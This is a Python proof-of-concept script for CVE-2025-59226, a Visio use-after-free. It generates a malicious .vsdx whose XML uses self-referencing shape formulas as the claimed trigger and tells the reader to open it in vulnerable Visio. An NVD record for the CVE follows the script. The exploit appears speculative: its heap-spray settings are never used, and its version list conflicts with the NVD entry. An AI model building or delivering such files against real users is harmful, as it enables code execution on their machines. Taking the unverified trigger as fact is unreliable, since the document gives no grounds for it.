CVE-2025-59226

# CVE-2025-59226 - Microsoft Office Visio Use After Free PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational and research purposes only. # Do not use this for unauthorized testing or malicious purposes. import struct import zipfile import os import shutil class VisioUAFExploit: """ Conceptual PoC for CVE-2025-59226 (Visio Use After Free) Generates a malicious .vsdx file that triggers UAF when parsed. """ def __init__(self): self.output_file = "exploit_CVE-2025-59226.vsdx" self.heap_spray_size = 0x1000 # 4KB spray chunks self.fake_object_size = 0x100 def build_malicious_shapesheet(self): """ Construct a malicious ShapeSheet XML payload that triggers the use-after-free condition during shape rendering. """ # The UAF is triggered when Visio processes a Shape with a # self-referencing or prematurely-released Cell object. payload = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <VisioDocument xmlns="http://schemas.microsoft.com/office/visio/2012/main" xml:space="preserve"> <DocumentSettings TopPage="0" DefaultTextStyle="0" DefaultLineStyle="0" DefaultFillStyle="0" DefaultGuideStyle="0"/> <Pages> <Page ID="0" NameU="Page-1" Name="Page-1"> <PageSheet LineStyle="0" FillStyle="0" TextStyle="0"> <Cell N="PageWidth" V="8.5" U="IN"/> <Cell N="PageHeight" V="11" U="IN"/> </PageSheet> <Shapes> <Shape ID="1" NameU="TriggerShape" Name="TriggerShape" Type="Shape" LineStyle="0" FillStyle="0" TextStyle="0"> <Cell N="PinX" F="\"TriggerShape\"!PinX"/> <Cell N="PinY" F="\"TriggerShape\"!PinY"/> <Section N="Geometry" IX="0"> <Cell N="NoFill" V="1"/> <Cell N="NoLine" V="1"/> <Cell N="NoShow" V="1"/> <Cell N="NoSnap" V="1"/> </Section> </Shape> <Shape ID="2" NameU="UAF_Trigger" Name="UAF_Trigger" Type="Shape" LineStyle="0" FillStyle="0" TextStyle="0"> <!-- Self-referencing formula triggers premature free --> <Cell N="PinX" F="\"UAF_Trigger\"!PinX + \"UAF_Trigger\"!Width"/> <Cell N="PinY" F="\"UAF_Trigger\"!PinY"/> <Cell N="Width" F="\"UAF_Trigger\"!Width"/> <Cell N="Height" F="\"UAF_Trigger\"!Height"/> </Shape> </Shapes> <Connects> <Connect FromSheet="2" FromCell="BeginX" FromPart="9" ToSheet="1" ToCell="PinX" ToPart="3"/> </Connects> </Page> </Pages> </VisioDocument>''' return payload def create_vsdx(self): """Package the malicious payload into a valid .vsdx (OOXML) container.""" if os.path.exists(self.output_file): os.remove(self.output_file) with zipfile.ZipFile(self.output_file, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="xml" ContentType="application/xml"/> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Override PartName="/visio/document.xml" ContentType="application/vnd.ms-visio.drawing.main+xml"/> </Types>''') zf.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.microsoft.com/visio/2010/relationships/document" Target="visio/document.xml"/> </Relationships>''') zf.writestr("visio/document.xml", self.build_malicious_shapesheet()) print(f"[+] Malicious Visio file generated: {self.output_file}") print("[!] Open this file with a vulnerable version of Microsoft Office Visio to trigger CVE-2025-59226") print("[!] Vulnerable versions: Microsoft Office Visio 2016, 2019, 2021, Visio LTSC (pre-Oct 2025 patches)") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59226 - Microsoft Office Visio UAF PoC") print("Educational/Research Use Only") print("=" * 60) exploit = VisioUAFExploit() exploit.create_vsdx()

{"cve": {"id": "CVE-2025-59226", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:03.360", "lastModified": "2025-10-16T20:17:38.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Visio allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59226", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}